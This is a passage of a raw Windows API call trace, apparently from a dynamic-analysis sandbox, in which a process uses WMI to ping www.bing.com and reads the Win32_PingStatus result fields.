(This=0x5cfadc8) returned 0x3 [0140.374] IUnknown:Release (This=0x5cfadc8) returned 0x2 [0140.374] CoTaskMemFree (pv=0x5d09a60) [0140.374] CoGetContextToken (in: pToken=0x59feb34 | out: pToken=0x59feb34) returned 0x0 [0140.374] IUnknown:AddRef (This=0x5cfadc8) returned 0x3 [0140.374] CoTaskMemAlloc (cb=0x4) returned 0x5d09a60 [0140.375] IEnumWbemClassObject:Next (in: This=0x6c0a08, lTimeout=-1, uCount=0x1, apObjects=0x5d09a60, puReturned=0x2888214 | out: apObjects=0x5d09a60*=0x0, puReturned=0x2888214*=0x0) returned 0x1 [0140.451] CoTaskMemFree (pv=0x5d09a60) [0141.452] CoTaskMemAlloc (cb=0x4) returned 0x5d09a60 [0141.452] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5d09a60, puReturned=0x285a4e0 | out: apObjects=0x5d09a60*=0x0, puReturned=0x285a4e0*=0x0) returned 0x1 [0141.457] CoTaskMemFree (pv=0x5d09a60) [0141.457] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0141.457] IUnknown:Release (This=0x6c0878) returned 0x1 [0141.457] IUnknown:Release (This=0x6c0878) returned 0x0 [0141.464] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0141.464] IUnknown:Release (This=0x6c07b0) returned 0x1 [0141.464] IUnknown:Release (This=0x6c07b0) returned 0x0 [0141.466] CoGetContextToken (in: pToken=0x59feb6c | out: pToken=0x59feb6c) returned 0x0 [0141.466] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0141.466] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0141.467] CoUnmarshalInterface (in: pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59feac0 | out: ppv=0x59feac0*=0x720ab4) returned 0x0 [0141.467] CoMarshalInterface (pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x720ab4, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0141.468] WbemLocator:IUnknown:QueryInterface (in: This=0x720ab4, riid=0x59feb9c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59feb98 | out: ppvObject=0x59feb98*=0x5ce7e88) returned 0x0 [0141.468] WbemLocator:IUnknown:Release (This=0x720ab4) returned 0x1 [0141.468] IWbemServices:ExecQuery (in: This=0x5ce7e88, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.bing.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59fedfc | out: ppEnum=0x59fedfc*=0x6c07b0) returned 0x0 [0141.490] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febcc | out: ppvObject=0x59febcc*=0x6c07b4) returned 0x0 [0141.490] IClientSecurity:QueryBlanket (in: This=0x6c07b4, pProxy=0x6c07b0, pAuthnSvc=0x59fec1c, pAuthzSvc=0x59fec18, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14, pImpLevel=0x59fec04, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c | out: pAuthnSvc=0x59fec1c*=0xa, pAuthzSvc=0x59fec18*=0x0, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14*=0x6, pImpLevel=0x59fec04*=0x2, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c*=0x1) returned 0x0 [0141.490] IUnknown:Release (This=0x6c07b4) returned 0x1 [0141.490] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febc0 | out: ppvObject=0x59febc0*=0x720ba4) returned 0x0 [0141.490] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febac | out: ppvObject=0x59febac*=0x6c07b4) returned 0x0 [0141.491] IClientSecurity:SetBlanket (This=0x6c07b4, pProxy=0x6c07b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.510] IUnknown:Release (This=0x6c07b4) returned 0x2 [0141.510] WbemLocator:IUnknown:Release (This=0x720ba4) returned 0x1 [0141.510] CoTaskMemFree (pv=0x5cd33a8) [0141.510] IUnknown:AddRef (This=0x6c07b0) returned 0x2 [0141.511] CoGetContextToken (in: pToken=0x59fe0ec | out: pToken=0x59fe0ec) returned 0x0 [0141.511] CoGetContextToken (in: pToken=0x59fe4fc | out: pToken=0x59fe4fc) returned 0x0 [0141.511] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe498 | out: ppvObject=0x59fe498*=0x720b8c) returned 0x0 [0141.511] WbemLocator:IRpcOptions:Query (in: This=0x720b8c, pPrx=0x5cdb3f0, dwProperty=2, pdwValue=0x59fe58c | out: pdwValue=0x59fe58c) returned 0x80004002 [0141.511] WbemLocator:IUnknown:Release (This=0x720b8c) returned 0x2 [0141.511] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0141.511] CoGetContextToken (in: pToken=0x59fea2c | out: pToken=0x59fea2c) returned 0x0 [0141.511] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x59feafc*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59fe9c8 | out: ppvObject=0x59fe9c8*=0x6c07b0) returned 0x0 [0141.512] IUnknown:Release (This=0x6c07b0) returned 0x2 [0141.512] WbemLocator:IUnknown:Release (This=0x5ce7e88) returned 0x0 [0141.512] SysStringLen (param_1=0x0) returned 0x0 [0141.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee48 | out: puCount=0x59fee48*=0x2) returned 0x0 [0141.513] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0x0, pszText=0x0 | out: puBuffLength=0x59fee44*=0xf, pszText=0x0) returned 0x0 [0141.513] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee44*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.513] CoGetContextToken (in: pToken=0x59fec9c | out: pToken=0x59fec9c) returned 0x0 [0141.513] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee54 | out: ppEnum=0x59fee54*=0x6c0878) returned 0x0 [0141.516] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed10 | out: ppvObject=0x59fed10*=0x6c087c) returned 0x0 [0141.517] IClientSecurity:QueryBlanket (in: This=0x6c087c, pProxy=0x6c0878, pAuthnSvc=0x59fed60, pAuthzSvc=0x59fed5c, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58, pImpLevel=0x59fed48, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50 | out: pAuthnSvc=0x59fed60*=0xa, pAuthzSvc=0x59fed5c*=0x0, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58*=0x6, pImpLevel=0x59fed48*=0x2, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50*=0x1) returned 0x0 [0141.517] IUnknown:Release (This=0x6c087c) returned 0x1 [0141.517] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed04 | out: ppvObject=0x59fed04*=0x720ab4) returned 0x0 [0141.517] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf0 | out: ppvObject=0x59fecf0*=0x6c087c) returned 0x0 [0141.517] IClientSecurity:SetBlanket (This=0x6c087c, pProxy=0x6c0878, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.519] IUnknown:Release (This=0x6c087c) returned 0x2 [0141.519] WbemLocator:IUnknown:Release (This=0x720ab4) returned 0x1 [0141.519] CoTaskMemFree (pv=0x5cd3288) [0141.519] IUnknown:AddRef (This=0x6c0878) returned 0x2 [0141.520] CoGetContextToken (in: pToken=0x59fe220 | out: pToken=0x59fe220) returned 0x0 [0141.520] CoGetContextToken (in: pToken=0x59fe634 | out: pToken=0x59fe634) returned 0x0 [0141.520] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5cc | out: ppvObject=0x59fe5cc*=0x720a9c) returned 0x0 [0141.520] WbemLocator:IRpcOptions:Query (in: This=0x720a9c, pPrx=0x5cdb480, dwProperty=2, pdwValue=0x59fe6c0 | out: pdwValue=0x59fe6c0) returned 0x80004002 [0141.520] WbemLocator:IUnknown:Release (This=0x720a9c) returned 0x2 [0141.520] CoGetContextToken (in: pToken=0x59fec04 | out: pToken=0x59fec04) returned 0x0 [0141.520] CoGetContextToken (in: pToken=0x59feb64 | out: pToken=0x59feb64) returned 0x0 [0141.520] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x59fec34*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feb00 | out: ppvObject=0x59feb00*=0x6c0878) returned 0x0 [0141.521] IUnknown:Release (This=0x6c0878) returned 0x2 [0141.521] SysStringLen (param_1=0x0) returned 0x0 [0141.521] IEnumWbemClassObject:Reset (This=0x6c0878) returned 0x0 [0141.523] CoTaskMemAlloc (cb=0x4) returned 0x5d09850 [0141.523] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5d09850, puReturned=0x28888e8 | out: apObjects=0x5d09850*=0x5ce3798, puReturned=0x28888e8*=0x1) returned 0x0 [0141.558] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe4ac | out: ppvObject=0x59fe4ac*=0x5ce3798) returned 0x0 [0141.559] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe460 | out: ppvObject=0x59fe460*=0x0) returned 0x80004002 [0141.559] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe288 | out: ppvObject=0x59fe288*=0x0) returned 0x80004002 [0141.559] IUnknown:AddRef (This=0x5ce3798) returned 0x3 [0141.559] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddbc | out: ppvObject=0x59fddbc*=0x0) returned 0x80004002 [0141.559] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd6c | out: ppvObject=0x59fdd6c*=0x0) returned 0x80004002 [0141.559] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd78 | out: ppvObject=0x59fdd78*=0x5ce379c) returned 0x0 [0141.559] IMarshal:GetUnmarshalClass (in: This=0x5ce379c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd80 | out: pCid=0x59fdd80*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0141.559] IUnknown:Release (This=0x5ce379c) returned 0x3 [0141.559] CoGetContextToken (in: pToken=0x59fddd8 | out: pToken=0x59fddd8) returned 0x0 [0141.560] CoGetContextToken (in: pToken=0x59fe1ec | out: pToken=0x59fe1ec) returned 0x0 [0141.560] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe26c | out: ppvObject=0x59fe26c*=0x0) returned 0x80004002 [0141.560] IUnknown:Release (This=0x5ce3798) returned 0x2 [0141.560] CoGetContextToken (in: pToken=0x59fe7d4 | out: pToken=0x59fe7d4) returned 0x0 [0141.560] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0141.560] IUnknown:QueryInterface (in: This=0x5ce3798, riid=0x59fe804*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe800 | out: ppvObject=0x59fe800*=0x5ce3798) returned 0x0 [0141.560] IUnknown:AddRef (This=0x5ce3798) returned 0x4 [0141.560] IUnknown:Release (This=0x5ce3798) returned 0x3 [0141.560] IUnknown:Release (This=0x5ce3798) returned 0x2 [0141.560] CoTaskMemFree (pv=0x5d09850) [0141.560] CoGetContextToken (in: pToken=0x59feb44 | out: pToken=0x59feb44) returned 0x0 [0141.560] IUnknown:AddRef (This=0x5ce3798) returned 0x3 [0141.560] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fee44*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feec4*=0, plFlavor=0x59feec0*=0 | out: pVal=0x59fee44*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59feec4*=3, plFlavor=0x59feec0*=64) returned 0x0 [0141.561] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fee28*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feeac*=0, plFlavor=0x59feea8*=0 | out: pVal=0x59fee28*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59feeac*=8, plFlavor=0x59feea8*=64) returned 0x0 [0141.561] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.561] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.561] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x588 [0141.561] SetEvent (hEvent=0x3f0) returned 1 [0141.561] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fee00*=0x588, lpdwindex=0x59fec24 | out: lpdwindex=0x59fec24) returned 0x0 [0141.565] CoGetContextToken (in: pToken=0x59fecd4 | out: pToken=0x59fecd4) returned 0x0 [0141.565] CoGetContextToken (in: pToken=0x59fec34 | out: pToken=0x59fec34) returned 0x0 [0141.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd158, riid=0x59fed04*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x5cdd158) returned 0x0 [0141.565] WbemDefPath:IUnknown:AddRef (This=0x5cdd158) returned 0x3 [0141.565] WbemDefPath:IUnknown:Release (This=0x5cdd158) returned 0x2 [0141.565] WbemDefPath:IWbemPath:SetText (This=0x5cdd158, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0141.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee80 | out: puCount=0x59fee80*=0x2) returned 0x0 [0141.565] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0x0, pszText=0x0 | out: puBuffLength=0x59fee7c*=0xf, pszText=0x0) returned 0x0 [0141.565] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee7c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0141.565] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0141.565] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.565] IWbemClassObject:Get (in: This=0x5ce3798, wszName="Address", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28892a4*=0, plFlavor=0x28892a8*=0 | out: pVal=0x59fede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x28892a4*=8, plFlavor=0x28892a8*=0) returned 0x0 [0141.565] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.566] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.566] IWbemClassObject:Get (in: This=0x5ce3798, wszName="Address", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28892a4*=8, plFlavor=0x28892a8*=0 | out: pVal=0x59fedec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x28892a4*=8, plFlavor=0x28892a8*=0) returned 0x0 [0141.566] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.566] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0141.566] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0141.566] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.566] IWbemClassObject:Get (in: This=0x5ce3798, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889358*=0, plFlavor=0x288935c*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889358*=19, plFlavor=0x288935c*=0) returned 0x0 [0141.566] IWbemClassObject:Get (in: This=0x5ce3798, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889358*=19, plFlavor=0x288935c*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889358*=19, plFlavor=0x288935c*=0) returned 0x0 [0141.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0141.566] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0141.566] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.566] IWbemClassObject:Get (in: This=0x5ce3798, wszName="StatusCode", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28893ec*=0, plFlavor=0x28893f0*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28893ec*=19, plFlavor=0x28893f0*=0) returned 0x0 [0141.567] IWbemClassObject:Get (in: This=0x5ce3798, wszName="StatusCode", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28893ec*=19, plFlavor=0x28893f0*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28893ec*=19, plFlavor=0x28893f0*=0) returned 0x0 [0141.567] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0141.567] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0141.567] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.567] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28898e8*=0, plFlavor=0x28898ec*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28898e8*=8, plFlavor=0x28898ec*=64) returned 0x0 [0141.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.567] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28898e8*=8, plFlavor=0x28898ec*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28898e8*=8, plFlavor=0x28898ec*=64) returned 0x0 [0141.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.568] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0141.568] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0141.568] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.568] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889984*=0, plFlavor=0x2889988*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2889984*=8, plFlavor=0x2889988*=64) returned 0x0 [0141.568] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.568] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.568] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889984*=8, plFlavor=0x2889988*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2889984*=8, plFlavor=0x2889988*=64) returned 0x0 [0141.568] SysStringByteLen 